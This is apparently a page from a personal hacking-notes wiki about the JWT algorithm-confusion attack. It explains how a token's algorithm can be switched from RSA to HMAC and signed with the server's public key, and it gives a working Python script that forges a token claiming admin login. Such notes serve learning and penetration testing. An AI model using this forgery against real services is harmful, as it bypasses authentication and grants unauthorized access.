> For the complete documentation index, see [llms.txt](https://sheepwall.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sheepwall.gitbook.io/home/hacking/exploitation/jwt.md).

# JWT

## HMAC hacking

RSA:

* To sign a token, you need the private key.
* To verify a token, you can use the public key corresponding to the private key used for the signature.

HMAC,:

* To sign a token, you need the secret.
* To verify a token, you need the same secret.

To exploit this, we need access to `public.pem`, then we can change the algorithm of the JWT token to use HMAC and create a signature using `public.pem`.

Because HMAC uses the same key in `public.pem` to validate the key, we can forge a valid token.

<pre class="language-python" data-overflow="wrap"><code class="lang-python">import hmac
import hashlib
import base64

with open('public.pem', 'rb') as f:
    key = f.read()
    
<strong># eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 = {"typ":"JWT","alg":"HS256"}
</strong><strong># eyJsb2dpbiI6ImFkbWluIn0 = {"login":"admin"}
</strong><strong>
</strong>payload = b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6ImFkbWluIn0'

signature = base64.urlsafe_b64encode(hmac.new(key, payload, hashlib.sha256).digest()).decode('UTF-8').replace('=','')

payload2 = str(payload, encoding='utf-8')

print(f"{payload2}.{signature}")
</code></pre>
